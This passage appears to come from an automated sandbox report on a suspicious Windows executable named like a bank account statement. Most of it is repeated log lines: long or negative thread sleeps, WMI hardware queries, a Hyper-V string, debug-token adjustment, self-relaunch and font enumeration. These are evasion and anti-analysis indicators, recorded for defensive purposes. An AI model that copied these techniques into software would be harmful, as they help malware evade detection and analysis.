Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Window / User API: threadDelayed 957			Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Window / User API: threadDelayed 8908			Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6880	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598670s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -598014s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597684s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597466s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6508	Thread sleep time: -594625s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598670	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598014	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597684	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597466	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: hesaphareketi-.exe, 00000002.00000002.4188566877.0000000000D55000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Users\user\Desktop\hesaphareketi-.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
